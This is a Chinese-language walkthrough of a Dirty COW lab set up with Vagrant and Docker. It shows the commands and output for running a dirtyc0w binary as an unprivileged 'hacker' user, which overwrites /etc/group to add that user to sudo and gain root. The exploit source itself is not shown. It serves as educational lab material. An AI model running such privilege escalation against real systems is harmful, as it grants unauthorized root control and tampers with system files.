首先克隆项目
git clone https://github.com/BrolyCode/Dirty-Cow.git
进入文件夹
cd Dirty-Cow
然后使用以下命令启动环境
vagrant up
服务器构建完成后,通过 SSH 登录
vagrant ssh
切换到 root 用户
sudo -i
现在我们可以以黑客身份登录
docker exec -it -u hacker nginx bash
我们登录到的目录包含以下文件
drwxrwxrwt 2 root root 4096 Nov 26 11:10 .
drwxr-xr-x 41 root root 4096 Nov 26 11:10 ..
-rwxr-xr-x 1 root root 9880 Nov 26 04:52 dirtyc0w
-rwxrwxrwx 1 root root 9880 Nov 26 04:52 dirtyc0w.c
如果我们查看文件 /etc/group,会看到
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
....
我们可以尝试以 root 身份登录
sudo -i
但系统会拒绝,因为我们没有访问权限。现在我们将利用 /etc/group 的漏洞
./dirtyc0w
终端将输出以下内容,我们需要等待一小段时间(2-3 分钟)。
mmap 7fd0facf4000
madvise 0
procselfmem 1500000000
然后我们再次查看 /etc/group
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:hacker
...
以 root 身份登录
sudo -i
root@27862a2f9973:~#
退出回到宿主机的终端,执行 vagrant destroy